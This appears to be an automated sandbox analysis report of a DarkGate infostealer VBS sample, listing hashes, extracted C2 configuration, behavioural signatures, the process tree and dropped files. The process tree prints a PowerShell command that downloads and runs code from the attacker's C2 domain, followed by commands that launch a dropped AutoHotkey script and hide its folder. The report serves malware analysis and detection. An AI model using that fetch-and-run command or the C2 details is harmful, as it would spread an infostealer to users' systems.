Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-03-2024 08:03

General

  • Target

    cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040.vbs

  • Size

    6KB

  • MD5

    2a4b987fdbd42a6a5cfbfdc334ce634f

  • SHA1

    9964d7287bb64f36231b751eb80608176fc8b687

  • SHA256

    cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040

  • SHA512

    4aabaf92a6bf309869ee2ab6eabb9081bb4b5fc57362d9b343fdc7e8eb010ef66512aa5e80056cdb9501f0602d413d325ccc81f1cff3ebe7756167d163d09b80

  • SSDEEP

    192:QMg119gkCtL3IqSPN3QzGNzUoNK9V4nN9:Ly19gR3IquNgzG2oN7r

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

backupitfirst.com

Attributes
  • anti_analysis

    true

  • anti_debug

    false

  • anti_vm

    true

  • c2_port

    80

  • check_disk

    false

  • check_ram

    false

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_raw_stub

    false

  • internal_mutex

    SfUQxDje

  • minimum_disk

    50

  • minimum_ram

    4000

  • ping_interval

    6

  • rootkit

    false

  • startup_persistence

    true

  • username

    admin888

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Detect DarkGate stealer 2 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cb65d95a1496fd2e5105954eb3046df90c4262f19fa7d7d77fa59b488348b040.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'backupitfirst.com/rudxfiyb')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:404
      • C:\rqzo\AutoHotkey.exe
        "C:\rqzo\AutoHotkey.exe" C:/rqzo/script.ahk
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:3544
      • C:\Windows\system32\attrib.exe
        "C:\Windows\system32\attrib.exe" +h C:/rqzo/
        3⤵
        • Views/modifies file attributes
        PID:1704
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3864 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:4196

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p22vaa0m.2af.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\rqzo\AutoHotkey.exe

      Filesize

      892KB

      MD5

      a59a2d3e5dda7aca6ec879263aa42fd3

      SHA1

      312d496ec90eb30d5319307d47bfef602b6b8c6c

      SHA256

      897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

      SHA512

      852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

    • C:\rqzo\AutoHotkey.exe

      Filesize

      800KB

      MD5

      109032bc282ff50c9d0fab2ed34dc8cf

      SHA1

      120bc9821ebc7487a38f0192443620f812cfbcdb

      SHA256

      98fc5d128a9bec14b81d6581ddbab5a3faf15ece29f97471087ee6833162b44e

      SHA512

      636c1fbfd25c88885541cc6d923f9a73d6a4e1bcaf06b3e5a5ebd7a4532c9e135a8ed7ce98df20e2c3571153f4331a1f2660e2bc7b8f5541ef24169a88001a49

    • C:\rqzo\script.ahk

      Filesize

      56KB

      MD5

      cc881012bc30b053b9e6b763f4fff1ed

      SHA1

      ac366539edd526b083f630828090a519812f72f9

      SHA256

      08037bf46f2e4d7654b2f4d9073ed9eababb35b538927dcae5ed665ad7b4e1c6

      SHA512

      3c520d67cfc7d12f96577cf29c373ebe68dafc59f68fc5dd7d6b772944dbe40a01836f51b87c83486adb751b9b293609d768d7b151614845da13e58d9c2c647d

    • C:\rqzo\test.txt

      Filesize

      916KB

      MD5

      5c3a3407c64b7585324a29a08005a3a8

      SHA1

      956a7788aa0e397e973ab5623d4aae73b1ca2658

      SHA256

      89445e407e345c8c4a8606210787957db44c4ec1acec6a17dfe7e78203f4ca40

      SHA512

      fe13844cff959a87523246f85cf357fd1adcdcffdc8b603f28ec26f4dcb2f26b76f243a042a7c2089776a737e3f7578214709ebc97eed7849e4c56e4825cbecb

    • memory/404-12-0x000002854A440000-0x000002854A450000-memory.dmp

      Filesize

      64KB

    • memory/404-13-0x0000028562C60000-0x0000028562E22000-memory.dmp

      Filesize

      1.8MB

    • memory/404-11-0x000002854A440000-0x000002854A450000-memory.dmp

      Filesize

      64KB

    • memory/404-10-0x00007FFA05710000-0x00007FFA061D1000-memory.dmp

      Filesize

      10.8MB

    • memory/404-31-0x00007FFA05710000-0x00007FFA061D1000-memory.dmp

      Filesize

      10.8MB

    • memory/404-9-0x0000028562590000-0x00000285625B2000-memory.dmp

      Filesize

      136KB

    • memory/3544-34-0x0000000004AB0000-0x0000000004B23000-memory.dmp

      Filesize

      460KB

    • memory/3544-36-0x0000000004AB0000-0x0000000004B23000-memory.dmp

      Filesize

      460KB